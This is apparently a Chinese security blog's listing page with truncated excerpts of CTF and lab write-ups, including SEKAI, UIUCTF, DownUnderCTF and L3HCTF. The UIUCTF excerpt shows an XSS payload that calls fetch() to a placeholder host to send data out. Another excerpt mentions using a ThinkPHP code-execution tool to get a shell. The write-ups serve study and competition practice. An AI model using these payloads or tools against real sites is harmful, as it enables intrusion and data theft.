SEKAI 2025 Discrepancy
本文首发于先知社区(为了赚点积分( 探究python中pickle,_pickle和pickletools的解析差异问题 前言 来看SEKAI 2025的Discrepancy ### IMPORTS ### from pickle import _Unpickler as py_unpickler
LILCTF 2025 wp
前言 跟着队伍OTSASumuvior ,最终队伍排名为第一名 打了一天这个之后还要去打SEKAI CTF 我曾有一份工作 题目描述中有备份,直接开扫,扫到了www.zip 里面是网站源码,包含一堆配置以及密钥 审计之后发现只要有UC_KEY就可以备份数据库 api/db/dbbak.php <?p
UIUCTF 2025 wp
前言 第二天有事,没怎么写 Ruler of the Universe ${String(value).replace('"', """)} 这地方只转义第一个”,剩下的不会转义,用两个”即可闭合 "" autofocus onfocus="fetch('<https://xx/?'>
Handlebars的ast语法树注入问题
前言 先来看一道题(DownUnderCTF 2025),题目只给了一个dockerfile FROM alpine:latest AS flag-builder WORKDIR /build RUN apk add gcc musl-dev RUN cat <<EOF > getflag.c
DownUnderCTF 2025 wp
前言 时间充裕,所以输出还行 整体题目难的很难,简单的又挺简单 Sweet Treat admin/review这里没过滤,只要设置profile为payload <div class="profile-card"> <h4>Username:
春秋云镜 Initial wp
前言 想着要学渗透了。学了点前置知识就来打了,结果中途在配置代理,网络上面花了好久 而且春秋云镜的靶场。。。好贵 记录 扫端口 22 80 25 110 80进去是一共登录页,扫出来是think php,直接拿一把梭工具getShell [+] 目标存在tp5_construct_code_exec
L3HCTF 2025 wp
前言 终于放假了,有了较为充分的时间打比赛,写的题目数量也比之前多点 best_profile 先看源码 @app.route("/get_last_ip/<string:username>", methods=["GET", "POST"]) def route_check_ip(username
Google CTF 2025
BpfBox func spawnShell(ctx context.Context) error { withTimeout, cancel := context.WithTimeout(ctx, time.Minute) defer cancel() cmd := exec.Comman
大一总结
前言 时间好快,不知不觉大一就要结束了。想着写篇总结吧,为大一生活划上句号,于是有了这篇文章。 也不完全是CTF相关,更多的是对整个大一生活的记录与总结吧 8月 开学了(22号),怀着懵懂与无知,踏上大学生活 看着手里的综合测评细则,想着保研似乎好难,好像要参加好多活动,成绩还要很好才行 带着这样的
MaltaCTF 2025 wp
Starboard @app.route('/', methods=['GET']) def index(): order = request.args.get('order', 'DESC') if ';' in order or ',' in order: ret